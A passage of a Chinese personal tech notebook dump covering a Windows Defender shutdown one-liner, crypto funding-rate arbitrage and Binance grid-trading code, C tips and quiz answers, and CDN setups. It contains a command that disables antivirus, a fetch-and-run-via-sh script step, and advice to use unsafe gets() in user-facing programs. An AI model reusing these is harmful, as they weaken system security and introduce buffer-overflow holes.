    搭配elevate.exe使用即可在Win+R中快速关闭:

    elevate powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
    

    这个似乎在最新的Windows 2004已经失效


    命令行增加Windows防火墙规则阻断IP

    @TAG 防火墙

    当然需要管理员权限的cmd,能一行搞定何必在繁琐的设置步骤中周旋

    参考 https://serverfault.com/questions/851922/blocking-ip-address-with-netsh-filter

    netsh advfirewall firewall add rule name="IP Block" ^
       dir=in interface=any action=block remoteip=198.51.100.108/32
    
    ================================================ FILE: docs/Bitcoin/index.html ================================================ Bitcoin - notebook

    Bitcoin

    我也来试水当个被割的韭菜了

    套利实时收益率

    以下为实时收益率数据(每天更新一次):Code

    预测收益:下一次结算收益(确定值)+下下次结算收益(预估值,随价差波动),单位为千分之

    昨日收益:最近三次结算的累计收益

    7日年化:最近21次结算平均收益 具体计算见上文计算收益率

    显示全部 关注1 关注2 关注3 关注4
    火币 火币u 币安 币安u OKex

    期货永续合约介绍

    以火币的btc合约为例,交易单位最小是一张100 USD美元(其他币种都是10美元)

    交易都是基于btc担保,挣到的也是btc

    买入1张看涨 做多:相当于按照现在的合约价格用100USD买入btc,也就是借到了币,期待比特币价格上涨;承诺未来会卖出btc平仓得到100USD返还,在平仓时如果真的涨了,那时需要卖出的btc就比当时开仓时的数量少,这个差异的部分就是挣到的btc;如果btc价格一直下跌,账户里所有的btc卖出都不够100USD就爆仓了(实际爆仓规则更复杂)

    卖出1张看跌 做空:相当于按照现在的合约价格卖出btc手上拿着100USD,也就是借到了美元(然而并不能拿到美元),承诺未来会把这100美元买回btc,如果按预期真的跌了平仓时就能买到更多的btc。注意到买卖这个期货都是基于btc担保的,所以如果不加杠杆做空,就完全等价于卖出持有的btc,不存在爆仓风险,也就是说想真正做空(花人民币赌btc跌)必须上杠杆

    永续合约资金费率套利

    这本质上是一个套期保值的操作,是套利,不是高频交易策略,建仓后无需操作,只需要观察是否趋势反转决定平仓时机,例如当七日年化收益为负时平仓卖出

    期货合约的交易价格为啥会与现货(BTC/USDT)相差不大呢?因为存在每8个小时的结算机制,如果合约价格>现货价格,说明多方占优,则多方向空方支付资金费,如0.01%(具体数值与价差相关)。官方说明

    套利操作:用usdt买入币种,立刻下空单无杠杆做空相同数量——这样我们一买一卖相当于没有买入,资产净值不受币价波动影响,只是做空收取资金费

    具体操作:先在法币交易用人民币买usdt,然后在币币交易买入10.1usdt的币(多买一点给扣手续费),立刻转入永续合约账户开始1倍做空一张,然后长期持有直到趋势反转(持续支付资金费)。

    不要看账户的收益率,这个单单是做空本身相当于持币的收益率,我们并没有持币,正确的收益计算应该是账户权益(币的数量)*当前币币交易价格,收益的基准比较应该是低风险债券而不是高风险持币

    历史数据查询: 资金费率 结算价格

    爬取一下历史数据:(看起来ONT套利收益最高,不过上线时间不够长不具有代表性)

    计算收益率时不能简单对单次收益率求和,应该考虑币价波动对最后实际收益的影响:假设投入1USD,计算每次结算能收到多少币,累加后按最近一次结算价计算这些币值多少USD,除以结算次数乘以一年的结算次数即为年化收益

    import requests, os, sys, time
    from decimal import Decimal
    from functools import lru_cache
    
    sess = requests.session()
    
    @lru_cache()
    def getdata(coin, page=1):
        page = str(page)
        data = [Decimal(i['final_funding_rate']) for i in sess.get("https://futures.huobi.com/swap-order/x/v1/swap_funding_rate_page?contract_code="+coin+"-USD&page_index="+page+"&page_size=100", headers={"source":"web"}).json()["data"]["settle_logs"]]
        settle = [Decimal(i["instrument_info"][0]["settle_price"]) for i in sess.get("https://futures.huobi.com/swap-order/x/v1/swap_delivery_detail?symbol="+coin+"&page_index="+page+"&page_size=100", headers={"source":"web"}).json()["data"]["delivery"]]
        return data, settle
    
    def calc_fullprofit(coin):
        data, settle = [], []
        page = 1
        x = getdata(coin)
        while len(x[0]):
            data.extend(x[0])
            settle.extend(x[1])
            page+=1
            x = getdata(coin, page)
        profit_coin = sum([k/settle[i] for i,k in enumerate(data)])
        profit_usd = profit_coin*settle[0]
        return "%.2f"%(profit_usd/len(data)*3*365*100) + "%", len(data)
    
    data=[]
    for i in "BTC ETH EOS LINK BCH BSV LTC XRP ETC TRX ADA ATOM IOTA NEO ONT XLM XMR DASH ZEC".split(" "):
        profit, length = calc_fullprofit(i)
        data.append([i, profit, length])
    data.sort(key=lambda i:i[1], reverse=True)
    for i,profit,length in data:
        print("",i, profit, length,"", sep="|")
    

    风险: From 数字币套利简史(下)

    需要注意的是,资金费率的套利更加适合趋势上涨的行情,而且要留意行情的反转导致费率趋势的扭转,可能会套利失效;还有就是对于像18年的趋势下跌行情,虽然套利逻辑一样,但操作会更加复杂,因为这里面要涉及到永续合约+交割合约的组合对冲,占用币数也会翻倍,也就是说同样的币量套利年化收益率要打5折;所以,好好珍惜这来之不易的好行情吧。

    交易期间手速慢或交易不活跃会导致买入现货价格高于做空价格,导致额外的成本损耗;持有期间的最大风险在于美元贬值的风险,例如USDT 7.1买入,最后6.9卖出,即为28.2‰亏损

    另外,如果btc持续上涨,在持仓中看到做空亏了百分之多少还是有点心痛的,这就需要良好的心理素质,套利相比于持币动辄一天10%的波动就挣不到多少钱hhh


    套利+网格交易

    上述能被选出的资金费率高的套利币种,往往也是涨幅巨大的币种,可能还不如简单持币赚得更多,于是可以尝试更稳妥网格。网格的一个缺点在于资金利用率低,等着抄底买入的资金是闲置的,自然想到可以把上述资金费率套利结合起来,还没买入的部分就等量做空,优点在于:

    • 还没买入的抄底资金能赚取资金费率,不完全闲置
    • 没有usdt暴雷风险,币本位永续合约挂钩的是美元而不是usdt
    • 手续费低,火币现货交易千2,币安合约交易maker只有万1.5

    调用币安python sdk自动挂单,代码逻辑是: 获取当前所有的挂单,比对配置的价格数组,找到缺失的价格们。 这些缺失的价格是因为挂单成交导致的,需要补上。 最新成交的那一单价格定为p,p本身是不能补单的(刚突破的网格本身再补上就是白交手续费)。 小于p的缺失价格需要补上buy,大于的补上sell。

    在行情剧烈波动的时候,可能一分钟就会成交多次订单需要及时补单,就遇到了具体编码的挑战:

    如何获取最新的成交订单?

    订单号排序?不行,orderId只是按下单时间递增,orderId最大并不一定最近成交

    获取当前最新价格,比较哪个缺失价格离最新价格更近?在行情剧烈波动时不可靠

    获取历史所有订单,按updateTime排序?实测发现这个api有两个问题:

    • 多个订单updateTime相同,无法排序区分
    • 数据延迟,最新成交的订单并不一定出现

    解决方案是:

    • 获取最新成交的成交记录,从中提取包含的orderId,再查询订单。不排除这个REST API也存在数据延迟的问题
    • 使用websocket

    币安Python SDK没有币本位合约接口

    现在代码已经有更新补上了REST API的缺失,但websocket订阅账户变动的代码还是得自己来:

    client.py里stream_get_listen_key附近加上:

        def futures_stream_get_listen_key(self):
            res = self._request_futures_api("post", "listenKey", True, data={})
            return res['listenKey']
    

    调用就这样:

        def start_websocket(self, handle_order):
            def process_message(msg):
                global conn_key
                if msg['e'] not in ['ACCOUNT_UPDATE'] and not (msg['e']=='ORDER_TRADE_UPDATE' and msg['o']['X']=='NEW'):
                    myprint("message:", msg['e'], msg)
                if msg['e'] == 'error':
                    bm.stop_socket(conn_key)
                    bm.close()
                    reactor.stop()
                    print("socket stopped, exit now!")
                    exit()
                elif msg['e']=='ORDER_TRADE_UPDATE':
                    o = msg['o']
                    if o['X']!='FILLED':
                        return
                    order = {"price":o['p'], "orderId":o['i'], "side":o["S"], "symbol":o["s"], "clientOrderId":o["c"]}
                    return handle_order(order)
    
            client = self.client
            client.stream_get_listen_key = client.futures_stream_get_listen_key
            client.FUTURES_URL = client.FUTURES_URL.replace("fapi", "dapi")
            bm = BinanceSocketManager(client)
            bm.STREAM_URL = "wss://dstream.binance.com/"
            conn_key = bm.start_user_socket(process_message)
            bm.start()
    

    上述代码直接魔改BinanceSocketManager的常数定义来实现对币本位合约API的调用,订阅账户变动消息,只处理ORDER_TRADE_UPDATE中FILLED的订单,调用handle_order函数进行处理

    各种异常处理

    避免重复下单: 下单时指定包含价格信息的newClientOrderId,重复下单自然会失败,避免相同的订单重复下单APIError(code=-4015): Client order id is not valid.,但这个保护只针对还在挂单的订单,相同的clientorderid如果前述订单已经成交,不会阻止新的提交。

    已经重复下单:需要比对当前价格与定义好的网格数组,判断当前应该的仓位是多少,然后使用市价单或者额外在相邻网格下单保证仓位的正确性,注意极端行情下自动补仓依据的仓位价值可能有误。例如买入是靠平仓做空实现的,这是种reduceOnly的订单,必须有足够多的做空仓位才能买,否则报错:APIError(code=-2022): ReduceOnly Order is rejected.

    已经下的订单状态变成“已过期”:这种还是因为已经发生了超买/超卖,保证金不足,官方说明:

    https://www.binance.com/zh-CN/support/faq/360039707291

    保证金审核不过(针对于止盈止损单):止盈止损单中需要设置触发价和成交价(市价止盈止损单中,可以根据不同需要设置根据标记价格或最新价格触发),系统会进行两次保证金审核,分别在下单前和成交前。订单触发之后,系统会立即进行第二次保证金审核,若当前发生了亏损或划转出了保证金,导致可用保证金不足,此时订单状态会显示已过期。

    保证金不足:直接把杠杆倍数变成2可以避免这个问题,即使加杠杆也不会出现强平价格。

    服务器网络不可靠:在其他地区的服务器同时跑轮询,即使单个服务器挂掉,也有其他服务器靠轮询补上订单,但注意分布式后日志收集是个新的难点

    listenKeyExpired:收到这种类型的消息需要重新连接,也可以主动轮询的时候调用futures_stream_get_listen_key对现有的Listen Key进行刷新


    获取交易所价格信息

    在统计资产时对价格实时性没有要求,可以缓存60秒;用法:print(HUOBI_Price.btc),返回的是字符串类型

    class class_CEXPRICE():
        def __init__(self):
            self.updatetime = -1
        def __getattr__(self, token):
            if time.time()-self.updatetime>=60:
                print("fetch", self, end="", flush=True)
                self.data = self.fetchprice()
                print()
                self.updatetime = time.time()
            return self.handleprice(token)
    
    class class_HUOBI_Price(class_CEXPRICE):
        def fetchprice(self):
            return sess.get("https://api.huobi.pro/market/tickers", timeout=5).json()["data"]
        def handleprice(self, token):
            return [i for i in self.data if i["symbol"]==token.lower()+"usdt"][0]["close"]
    HUOBI_Price=class_HUOBI_Price()
    
    class class_BINANCE_Price(class_CEXPRICE):
        def fetchprice(self):
            return sess.get("https://api.binance.com/api/v3/ticker/price", timeout=5).json()
        def handleprice(self, token):
            if "busd" not in token.lower():
                token = token.lower()+"usdt"
            return [i for i in self.data if i["symbol"]==token.upper()][0]["price"]
    BINANCE_Price=class_BINANCE_Price()
    
    class class_MXC_Price(class_CEXPRICE):
        def fetchprice(self):
            return sess.get("https://www.mxc.com/open/api/v2/market/ticker", timeout=5).json()["data"]
        def handleprice(self, token):
            return [i for i in self.data if i["symbol"]==token.upper()+"_USDT"][0]["last"]
    MXC_Price = class_MXC_Price()
    

    terra地址转为以太坊地址

    依赖库:pip3 install bech32

    import bech32
    words = bech32.bech32_decode(terra_addr)[1]
    ethaddr = "".join([hex(i)[2:].rjust(2,"0") for i in bech32.convertbits(words,5,8,False)])
    

    反过来就是

    words = [int(ethaddr[i:i+2], 16) for i in range(0,40,2)]
    terra_addr = bech32.bech32_encode("terra", bech32.convertbits(words, 8, 5, False))
    
    ================================================ FILE: docs/C/index.html ================================================ C语言 - notebook

    C语言

    一点关于C的建议咯,也包含C++

    顺带附上几个题目和我写的解答


    关于Dev C++

    • 有时候会发生改了代码但运行起来是旧版本的情况,需要检查是否关闭了正在运行的exe,如果是工程需要按F12全部重新编译清空缓存

    • 编译工程错误定位在Makefile说明有函数声明了但没有定义,或者可能是出现了多个文件同名函数,小心其创建工程的时候自动产生的main.c

    • 如果单纯只需要编译一个C文件,为追求编译速度可以考虑使用tcc (Tiny C Compile)编译器,参见https://qs1401.com/?post=18;另外你可以修改编译的优化参数,不要用-O3这种更适合正式发布时的优化选项

    • 不要在一个项目中混用.c和.cpp,将导致ld链接的时候函数找不到。因为编译.cpp的时候是C++的编译,由于要支持重载,编译器会自动修改函数名称,导致代码中同样名字的函数编译出来的.o文件里面函数名称是不同的,这样.c找不到.cpp的函数,自然无法链接;不过还是有技巧的:extern “C”包住即可

    • 注意指针的星号别少写:想一次写两个指针?不能写FILE* fp1,fp2;而是每个变量前面都要带上星号!正确写法:FILE *fp1,*fp2; char *s1,*s2;


    输入的问题

    在开发真实用户会使用的命令行程序时,我建议所有的输入全部使用gets完成,然后再用sscanf读取到变量,可以有效防止scanf在一行出错波及到下一行

    当然更安全的是 fgets(buf,9999,stdin); 指定最多读取多少个字节避免栈溢出,但这种方法会得到\n字符

    另外,无论是scanf还是sscanf,赋值给int/double等类型的变量一定要写&符号!

    以下代码演示这种输入方法,对输入的n个数调用qsort排序;输入格式:第一行 N表示数的个数,第二行 N个需要排序的数(N<1000)

    #include <stdio.h>
    #include <stdlib.h>
    char buf[9999];
    int data[1005]; //不要在局部变量定义大数组,会炸栈
    int cmp(const void* a,const void* b){
        return *(int*)a-*(int*)b;
    }
    int main(){
        int N,i;
        gets(buf);
        sscanf(buf,"%d",&N);
        gets(buf);
        for(i=0;i<N;i++) {
            sscanf(buf,"%d %[^\n]",&data[i],buf);
        }
        qsort(data,N,sizeof(int),cmp);
        for(i=0;i<N-1;i++) printf("%d ",data[i]);
        printf("%d",data[i]);
    }
    

    C++用sstream代替sprintf

    #include <string>
    #include <sstream>
    #include <iostream> 
    using namespace std;
    int main(){
        stringstream s;
        string result;
        int i = 1000;
        s <<"haha "<< i; 
        getline(s,result); // the whole line rather than just the first word
        cout << result << endl; // print "haha1000"
        s.clear();
    } 
    

    解决g++省略拷贝构造函数的问题

    g++为了防止在函数返回值是对象的时候,拷贝构造被调用多次,即使拷贝构造函数有副作用,也会被优化掉(直接就不调用拷贝构造函数了)

    为了解决这个问题,从而证明教材上的正确性/语言的特性,需要在编译(不是链接)的时候加入以下开关:

    -fno-elide-constructors
    

    [数据结构]树的遍历

    允许不确定个元素的子节点个数,要求给出所有从根节点开始到叶节点的路径

    我是这么写的遍历循环(伪代码),其中p1和p2是指向节点的指针:

    路径=[根节点]
    while(循环条件):
        while (p2=p1的下一个没有遍历过的子节点)不为空:
            p2加入路径
            p1=p2
        if p1为叶节点:
            得到了一条从根节点到一个叶节点的路径
        路径pop,换言之,删掉最后加入的节点
        p1=p1的父节点(就是回溯)
    

    其中关键的p1的下一个没有遍历过的子节点的实现是这样子的:

    if 当前孩子的下标>=孩子总数:
        return NULL
    else return 子节点数组[当前下标++]
    

    卖个关子。。。请思考一下循环条件应该写啥?

    遍历的循环条件

    一开始我写的是:“根节点还有未遍历过的子节点”,但是这么写在这里就出了问题,由于标记已经遍历的子节点发生在真正遍历完子节点之前(我用的return 数组[下标++]),在循环根节点的最后一个子节点的时候会提前结束循环,导致没能遍历所有节点!

    正确的写法是:路径的元素个数>=1

    路径可以用vector实现,元素个数就是vector的size(),只有遍历完成了整个树之后,根节点才会被pop出来,结束循环。

    使用面向对象的思想

    这个题目我使用了C++来写,果然比C好多了。。。只要想好接口就能很方便地实现需要的功能啦(不过还是Python内置的list好多了,C++的vector各种const的坑

    这里分享一下我设计的接口:

    class Node{
        public:
            Node();
            void setChildNum(int num); //为子节点的指针的数组分配空间
            void addOneChild(Node* child);
            void setData(int data);
            int getData();
            void setParent(Node* parent);
            Node* getParent();
            Node* getCurrentChild(); //获得当前还没走过的子节点,并且把返回的子节点标记为走过了
            bool hasChildToGo(); //这个节点是不是所有的子节点都完成了
            bool isLeafNode(); //这个节点是不是叶节点
        private:
            //...省略咯...
    };
    class Nodes{ //存储路径的Nodes
        public:
            void append(Node* x); //把节点加入路径
            void pop(); //删掉最后加入的那个节点
            int getSumData(); //路径上所有节点的data的和
            int length(); //路径当前的长度
            friend bool cmp(const Nodes& a,const Nodes&b); //用于对路径进行排序
            friend ostream& operator<<(ostream& out,Nodes& x); 
        private:
            vector<Node*> data;
    };
    

    对一个const的vector使用迭代器要用const_iterator

    有时候函数参数就规定了必须是const的,如sort的比较函数,而比较的对象又是vector

    方法就是用vector<你的类型>::const_iterator


    小心未初始化的变量

    写代码的时候最好声明的时候就立刻初始化,未初始化的变量是未定义行为,可能出现加了个printf就好了,去掉printf就炸了的情况。

    你可以在Linux上使用gcc -fsanitize=undefined编译,让Undefined Sanitizer为你找出错误;顺带一提,ASAN也很有用,参见


    获取文件大小

    Python里很简单 你可以os.path.getsize(filename) 这个本质上调用的是os.stat;下面的方法是打开文件,用fseek跳转到文件结束

    Learned from: http://blog.csdn.net/chenglibin1988/article/details/8750480

    long int get_file_size(char* filename){
        /*
         * 使用fseek和ftell获取文件大小,失败时返回-1 
         */
        int filesize;
        FILE* fp = fopen(filename,"rb");
        if( NULL == fp ) return -1;
        fseek(fp,0,SEEK_END);
        filesize = ftell(fp);
        fclose(fp);
        return filesize;
    }
    

    C程习题解答

    学习一下各种坑爹的题目也是很不错的嘛(其实我就是为了把我的解析发上来。。。

    1.结构指针

    题目

    对于以下结构定义,p->str++中的++加在____
    struct {int len; char *str}*p;
    A.指针str上     B.指针p上    C.str指向的内容上   D.语法错误
    

    答案

    D

    一句话解释

    你再仔细看看?是不是少了个分号?

    详细解释

    这个题目这么写编译存在语法问题的,而且运行也会炸

    你试试复制到Dev C++编译看看?

    [Error] expected ';' at end of member declaration
    

    这个错误很显然的嘛,缺少了分号,正确写法:

    struct {int len; char *str;} *p;
    

    这就够了吗?

    p是一个指针,对指针使用->运算符之前必须要给指针一个空间(正确的值),否则就会导致*null而段错误炸掉

    另外 这个struct没有名字,也就意味着无法给他赋值,不能被赋值的指针有什么用呢?

    正确的写法如下:

    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    int main(){
        char string[666]="abcd"; //准备一个字符串
        struct name {int len; char *str;} s;//首先要给struct取一个名字name,顺带用这个名字创建一个实例s
        s.str = string; //对这个实例的str赋值为string的地址
        struct name *p = &s; //然后是用struct name来创建一个指向结构的指针p
        p->str++;//相当于s的str++了,str原来指向"abcd"字符串的'a',现在指向'b'
        puts(p->str);//输出bcd
    }
    

    回顾一下

    1. struct必须要有一个名字

    2. struct大括号中的每一项都必须以分号结尾

    3. 使用指针取值 如*p , p->something之前指针的值必须设置好

    4. 遇到不会的题目,为啥不自己问问编译器呢?


    2.结构数组

    题目

    对于以下的变量定义,表达式____是正确的
    struct node {
        char s[10];
        int k;
    } p[4];
    A. p->k=2
    B. p[0].s="abc";
    C. p[0]->k=2;
    D. p->s='a';
    

    答案

    A

    解析

    p[0].num(*(p+0)).num 等价, 所以 p[0].num(p+0)->num 等价

    编译一下确实A是可以的

    B选项错在结构体里面的s是一个有内存空间的char数组,不能把有内存空间的数组名称放到赋值的等号左边 (编译器把数组名称当成常量,编译器这么设计的原因也许是:不然这个内存空间不就弄丢了嘛)

    字符串正确的”赋值”操作是:

    strcpy(p[0].s,"abc");
    

    C选项 p[0]是结构,而不是指针,直接写p[0].k=2

    D选项 还是相同的道理 不能把有内存空间的数组名称放到赋值的等号左边

    正确的写法 p->s[0]='a', 也可以写 p[0].s[0]='a'

    指针,数组各种玩法

    如果要写p[1].s[2]='a', 等价的写法有:

    (p+1)->s[2]='a';
    *((p+1)->s + 2)='a';
    *((char*)p+1*sizeof(struct node)+2)='a';
    

    此代码供你测试:

    #include <stdio.h>
    int main(){
        struct node{
            char s[10];
            int k;
        } p[4];
        p[1].s[2]='a';
        printf("%c\n",p[1].s[2]);
        (p+1)->s[2]='b';
        printf("%c\n",p[1].s[2]);
        *((p+1)->s + 2)='c';
        printf("%c\n",p[1].s[2]);
        *((char*)p+1*sizeof(struct node)+2)='d';
        printf("%c",p[1].s[2]);
        return 0;
    }
    

    数组的数组

    题目:

     以下程序的输出结果是_________________
        #include <stdio.h>
        #include <string.h>
        typedef char (*AP)[5];
        AP defy(char *p)
        {
           int i;
           for(i=0; i<3; i++)
              p[strlen(p)] = 'A';
           return (AP)p + 1;
        }
        void main()
        {
           char a[]="FROG\0SEAL\0LION\0LAMB";
           puts( defy(a)[1]+2 );
        }
    

    解答:

    搞清楚指针的类型这个题目就很简单了,另外记住这个公式:

    x[i] = *(x+i)
    

    p[strlen(p)] = ‘A’; 就是把\0的地方改成了字符A

    所以我们的a是这样子的:

    从一维数组来看a是 FROGASEALALIONALAMB

    从5字节char的数组的数组来看是

        "FROGA", //虽然这里写的是字符串,但末尾没有\0
        "SEALA",
        "LIONA",
        "LAMB\0"
    

    defy(a)[1]就等价于*(defy(a) +1),就是*( ((AP)a)+1 +1),就是((AP)a)[2]

    AP这个类型是指针,指向的元素是 5字节大小的数组,

    所以((AP)a)[2]的类型是char*,指向的是”LIONA”这个元素

    但是当我们把这个元素当成char*用puts输出的时候,由于末尾没有\0,所以要继续输出,就是”LIONALAMB”

    再+2就是要跳过两个字节,得到答案”ONALAMB”

    举一反三:

    1. puts(((AP)a)[0])输出啥?假设没有调用defy(a)
    2. puts(((AP)a)[0])输出啥?假设已经做了defy(a)
    3. puts(((AP)a)[0]+3)输出啥?假设已经做了defy(a)
    4. defy(a)[2][1]+1是什么类型?值是多少?
    5. puts(&defy(a)[2][1])输出啥?
    6. defy(a)之后再puts(&defy(a)[2][1])输出啥?

    答案:

    1. FROG
    2. FROGASEALALIONALAMB
    3. GASEALALIONALAMB
    4. char类型 ‘B’ 这个是char的’A’再加一
    5. AMB
    6. 发生了数组越界读写,这是undefined behaviour
    ================================================ FILE: docs/CDN/index.html ================================================ CDN - notebook

    CDN

    UPYUN

    上传文件的方法

    FTP

    人家支持用ftp传输文件,而且用ftp似乎不对流量计费

    ftp://v0.ftp.upyun.com

    用户名是”操作员名/服务名”(其中/字符是用户名的一部分),密码为”操作员密码”

    有些时候你需要对其中的/进行urlencode,需要用%2F (你可以使用Python的quote("/", "")来查询)

    curlftpfs

    基于上述的ftp,在这种情境下可靠性不高,不建议使用

    http://curlftpfs.sourceforge.net/

    注意命令中的 ftp://用户名:密码@v0.ftp.upyun.com 其中的用户名的/符号需要改为%2f

    UpyunManager

    https://github.com/layerssss/manager-for-upyun

    UPYUN Python执行缓存刷新

    比如本blog设置了缓存所有html一年来减少回源github的次数,在每次我更新后就刷新一次缓存

    规则刷新:

    https://github.com/zjuchenyuan/EasyLogin/tree/master/examples/upyun

    URL刷新也是同理:

    官方文档:http://docs.upyun.com/api/purge/

    我的代码upyun_purge.py

    注意操作员要被授权;调用API正常的返回值就是{'invalid_domain_of_url': {}},不要看到invalid就以为出错了hhh

    使用upyun提供的webp功能节省流量

    现在已经有配置,启用后自动根据用户的浏览器Accept自动返回webp,无需任何操作

    之前的方案:无需代码,只需要在原图后面加上!/format/webp即可,假设已经在使用自定义图片格式,例如!compress则变为!compress/format/webp可以进一步节省流量

    官方说明: https://www.upyun.com/webp.html

    使用边缘规则修复改版导致的404问题

    本站原版使用的Jekyll将xxx.md编译为xxx.html,现在改用MkDocs后xxx.md编译得到的是xxx/index.html,原先的链接就404了

    又拍云能配置边缘规则 进行URL改写,用户在访问xxx.html的时候实际回源xxx/

    而且配置挺简单,只要会写正则即可

    配置规则如下:

    条件判断: 如果请求URI 正则匹配 ^/[^/]*html$
    功能选择: URL改写
        URI 字符串提取: ^/([^/]*).html$
        改写规则:/$1/
    break: 打勾
    

    UPYUN 使用边缘规则实现upyun TOKEN反盗链功能

    想只对特定url使用token反盗链,于是就使用边缘规则来实现一下完全兼容反盗链的算法咯

    发现一个坑:又拍云的边缘规则的$SUB函数 其from和to是从1开始计数的,包括from,也包括to

    URI 字符串提取不填,break不选,规则编辑器填以下内容

    $WHEN($MATCH($_URI, '这里填URI匹配正则'),$OR($GT($_TIME, $SUB($_GET__upt, 9,99)),$NOT($_GET__upt), $NOT($EQ($SUB($MD5('这里填TOKEN''&'$SUB($_GET__upt, 9,99)'&'$_URI),13,20),$SUB($_GET__upt, 1,8)))))$EXIT(403)
    

    UPYUN https证书更新

    使用F12开发人员工具看的接口,用Python实现了一下,从手动一个个添加证书中解放出来

    https://github.com/zjuchenyuan/EasyLogin/tree/master/examples/upyun/


    UPYUN 表单上传怎么用

    在功能配置-存储管理页面可以看到文件密钥,官方帮助文档过于分散,这里整理一下必须的步骤

    需求:简单的允许上传一个固定文件名的文件,不要过期

    首先写一个上传策略policy,然后对它base64,和密钥用&拼接后计算md5

    这个脚本将输出变量定义和curl命令,便于复制使用

    key='AAA...AAA'
    bucket='demobucket'
    filename='img.jpg'
    
    filepath="/${filename}"
    policy='{"bucket":"'${bucket}'","expiration":9999999999,"save-key":"'${filepath}'"}'
    b64_policy=`echo -n $policy|base64 -w0`
    
    echo UPYUN_POLICY=${b64_policy}
    echo UPYUN_SIGN=$(echo -n "${b64_policy}&${key}"|md5sum|awk '{print $1}')
    echo "curl https://v0.api.upyun.com/${bucket} -F file=@${filename} -F policy=\${UPYUN_POLICY} -F signature=\${UPYUN_SIGN}"
    

    我也提供了一个脚本便于你快速调用:

    curl -O d.py3.io/up.sh
    sh up.sh key bucket filename
    
    # 触发上传只要继续丢给sh就行
    sh up.sh key bucket filename|sh
    

    UPYUN省钱方案:缓存61秒 变为静态请求

    虽然人家 计费说明 写的是

    动态请求是指回用户源站并且缓存时间小于 60 秒或者指定不缓存的请求。

    但从实际的访问日志来看,缓存60秒是不够的,必须缓存61秒才当成静态请求

    需要进行的代码变动: 子域名+直接解析到源站+跨域请求+一个获取cookie的路由

    注意到我们把网页本身都缓存了,所以 网页源代码本身不能有用户相关的内容

    用户登录状态可以存在cookie里 指定domain的方式让子域名也能获取

    缓存61秒,一般用户还是能触发MISS,产生一次回源设置好cookie

    但如果用户访问的全部是缓存页面,前端代码需要先判断cookie是否存在,不存在就需要发起getsession请求来获取cookie再进行跨域请求

    这种跨域需要带上Cookie所以是withCredential的

    前端js:

    function queryme(){
        $.ajax({
            url:"https://subdomain.www.example.com/uri",
            success:function(data){
                //...
            },
            xhrFields:{withCredentials:true}
        })
    }
    (function(){
        if(document.cookie.indexOf("user=")>=0){
            queryme();
        }else{
            $.get("/getsession",null,queryme);
        }
    })();
    

    后端Nginx:

    add_header 'Access-Control-Allow-Origin' 'https://www.example.com';
    add_header 'Access-Control-Allow-Credentials' 'true';
    

    Qiniu

    使用qshell上传文件夹

    qshell qupload [<ThreadCount>] <LocalUploadConfig>
    

    需要写一个config文件,具体参见官方文档

    https://developer.qiniu.com/kodo/tools/1302/qshell

    https://github.com/qiniu/qshell/wiki/qupload

    本地DNS不靠谱?用HTTP DNS访问正确的CDN节点

    情形:用户的DNS不靠谱,不遵循CDN DNS的TTL设置,导致用户得到的节点IP已经过期失效,导致网站上的图片无法加载

    解决方案:使用阿里云的HTTP DNS (支持HTTPS请求),网页端访问图片时如果出错替换为指定IP的CDN节点

    HTTP DNS接入

    按照文档操作即可: https://help.aliyun.com/document_detail/30113.html

    注意到目前https://203.107.1.33会证书错误,改用https://203.107.1.1即可

    这个接口支持跨域请求:

    $.get("https://203.107.1.1/100000/d?host=www.aliyun.com",null,function(data){
        var ip = data.ips[0];
        console.log(ip);
    });
    

    泛域名解析

    参考 sslip.io

    假设我们有已经备案的域名example.com,使用xip.example.com作为泛域名解析的域名,也就是说140-205-34-3.xip.example.com就会解析到140.205.34.3

    只需要设置4条NS记录即可:

    ns-aws.nono.io
    ns-gce.nono.io
    ns-azure.nono.io
    ns-vultr.nono.io
    

    申请泛域名的https证书

    参见: https://py3.io/Nginx/#acmesh

    配置CDN

    将泛域名绑定到CDN服务上,并提供申请到的HTTPS证书,开启HTTPS访问

    前端JS

    下述代码出错时将把图片src的www.aliyun.com替换为1-2-3-4.xip.example.com,特点:

    • 只要一张CDN的图片已经出错就会开始替换所有坏图
    • 不会替换已经成功加载的图片
    • 使用localStorage缓存HTTP DNS的查询结果 缓存一周
    • 存储了DNS的TTL结果,如果TTL已经过期就再次查询(所以上面缓存一周其实没用,TTL一般就10分钟)

    参考:

    • https://stackoverflow.com/questions/736513/how-do-i-parse-a-url-into-hostname-and-path-in-javascript
    • https://stackoverflow.com/questions/92720/jquery-javascript-to-replace-broken-images

    依赖lscache: https://github.com/pamelafox/lscache

    var cdnupdating = false;
    
    function updatecdn(cb){
        if(cdnupdating) return;
        cdnupdating = true;
        $.get("https://203.107.1.1/100000/d?host=www.aliyun.com",null,function(data){
            var ip = data.ips[0];
            var domain = ip.replace(/\./g, "-")+".xip.example.com";
            var ddl=new Date()/1000 + data.ttl;
            var cdn = {domain:domain, ddl:ddl};
            lscache.set('cdn', cdn, 604800);
            if(cb) cb(cdn);
        });
    }
    
    function fixbrokenimages(cdn){
      if(!cdn) cdn=lscache.get("cdn");
      if(!cdn || cdn.ddl < +new Date()/1000) return updatecdn(fixbrokenimages);
      $('img[src*="www.aliyun.com"]').each(function() {
        if (!this.complete || typeof this.naturalWidth == "undefined" || this.naturalWidth == 0) {
          this.src = this.src.replace("www.aliyun.com", cdn.domain);
        }
      });
    }
    var fixbrokenimages_timer = null;
    function image_onerror(){
        //console.log("image_onerror",this.src);
        if(/.*www.aliyun.com.*/.test(this.src)){
            fixbrokenimages();
        }
        if(!fixbrokenimages_timer){
            fixbrokenimages_timer = setInterval(fixbrokenimages , 1000);
        }
    }
    
    $('img[src*="www.aliyun.com"]').on('error', image_onerror);
    
    ================================================ FILE: docs/CNAME ================================================ py3.io note.py3.io ================================================ FILE: docs/Developer/index.html ================================================ Developer - notebook

    Developer

    保持技术精进

    先得有方向,我用这个技术能给我带来什么回报?找到内在动力

    1. 读书,学习视频课程

    2. 去阅读源码,大的开源项目有新的技术、巧妙的设计、优良的架构,对自己写代码、架构的能力都有非常大的提升

    3. 在项目中使用自己想用的技术,解决现实问题

    4. 加入开源项目,和牛人一起工作,向牛人看齐

    5. 加入高手的社群,与优秀的人在一起


    如何明智地向程序员提问

    From: https://z.codes/how-to-ask-computer-question/

    简短版

    我现在遇到一个问题X

    我想到可能的原因是a, b, c

    我排除了以下可能性d, e, f

    我尝试过以下方案g, h, i

    请问还有什么是我遗漏的?

    首先你需要明白

    • 程序员们只偏爱艰巨的任务,或者能激发他们思维的好问题

    • 对方没有义务忍耐你的无知和懒惰

